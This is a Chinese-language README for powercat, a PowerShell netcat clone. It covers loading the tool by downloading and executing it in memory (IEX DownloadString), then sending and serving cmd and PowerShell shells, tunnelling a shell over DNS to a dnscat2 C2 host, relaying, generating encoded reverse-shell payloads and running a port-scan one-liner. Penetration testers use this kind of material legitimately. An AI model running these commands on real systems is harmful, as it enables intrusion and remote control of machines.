Netcat:PowerShell 版本。(支持 PowerShell 2 及以上版本)
powercat 是一个 PowerShell 函数。首先,你需要加载该函数才能执行它。你可以将以下命令之一放入你的 PowerShell 配置文件中,以便在 PowerShell 启动时自动加载 powercat。
从下载的 .ps1 文件加载函数:
. .\powercat.ps1
从 URL 加载函数:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
-l 监听连接。 [Switch]
-c 连接到监听器。 [String]
-p 要连接或监听的端口。 [String]
-e 执行。(GAPING_SECURITY_HOLE) [String]
-ep 执行 PowerShell。 [Switch]
-r 中继。格式:"-r tcp:10.1.1.1:443" [String]
-u 通过 UDP 传输数据。 [Switch]
-dns 通过 DNS 传输数据(dnscat2)。 [String]
-dnsft DNS 失败阈值。 [int32]
-t 超时选项。默认值:60 [int32]
-i 输入:文件路径(字符串)、字节数组或字符串。 [object]
-o 控制台输出类型:"Host"、"Bytes" 或 "String" [String]
-of 输出文件路径。 [String]
-d 连接后断开。 [Switch]
-rep 中继器。断开后重新启动。 [Switch]
-g 生成 Payload。 [Switch]
-ge 生成编码后的 Payload。 [Switch]
-h 打印帮助信息。 [Switch]
默认情况下,powercat 从控制台读取输入,并通过 write-host 将输入写入控制台。你可以使用 -o 参数将输出类型更改为 "Bytes" 或 "String"。
基本客户端:
powercat -c 10.1.1.1 -p 443
基本监听器:
powercat -l -p 8000
基本客户端,输出为字节:
powercat -c 10.1.1.1 -p 443 -o Bytes
powercat 可用于使用 -i(输入)和 -of(输出文件)来回传输文件。
发送文件:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile
接收文件:
powercat -l -p 8000 -of C:\inputfile
powercat 可用于发送和提供 Shell。使用 -e 指定可执行文件,或使用 -ep 执行 PowerShell。
提供 cmd Shell:
powercat -l -p 443 -e cmd
发送 cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
提供执行 PowerShell 命令的 Shell:
powercat -l -p 443 -ep
powercat 不仅支持通过 TCP 发送数据。指定 -u 启用 UDP 模式。数据也可以通过 -dns 发送到 dnscat2 服务器。请确保运行 dnscat2 服务器时添加 "-e open --no-cache"。
通过 UDP 发送数据:
powercat -c 10.1.1.1 -p 8000 -u
powercat -l -p 8000 -u
使用 10.1.1.1 上的 DNS 服务器连接到 c2.example.com 的 dnscat2 服务器:
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
使用 Windows 默认 DNS 服务器向 c2.example.com 的 dnscat2 服务器发送 Shell:
powercat -dns c2.example.com -e cmd
powercat 中的中继工作原理与传统 netcat 中继相同,但无需创建文件或启动第二个进程。你还可以在不同协议的连接之间中继数据。
TCP 监听器到 TCP 客户端中继:
powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP 监听器到 UDP 客户端中继:
powercat -l -p 8000 -r udp:10.1.1.16:53
TCP 监听器到 DNS 客户端中继:
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
使用 Windows 默认 DNS 服务器的 TCP 监听器到 DNS 客户端中继:
powercat -l -p 8000 -r dns:::c2.example.com
TCP 客户端到客户端中继:
powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
TCP 监听器到监听器中继:
powercat -l -p 8000 -r tcp:9000
可以使用 -g(生成 Payload)和 -ge(生成编码后的 Payload)生成执行特定操作的 Payload。编码后的 Payload 可以通过 powershell -E 执行。如果你不想使用全部 powercat 功能,可以使用这些。
生成一个反向 TCP Payload,连接到 10.1.1.15 端口 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
生成一个绑定 TCP 编码命令,监听端口 8000:
powercat -l -p 8000 -e cmd -ge
powercat 还可用于执行端口扫描和启动持久服务器。
基本 TCP 端口扫描器:
(21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
启动一个提供文件的持久服务器:
powercat -l -p 443 -i C:\inputfile -rep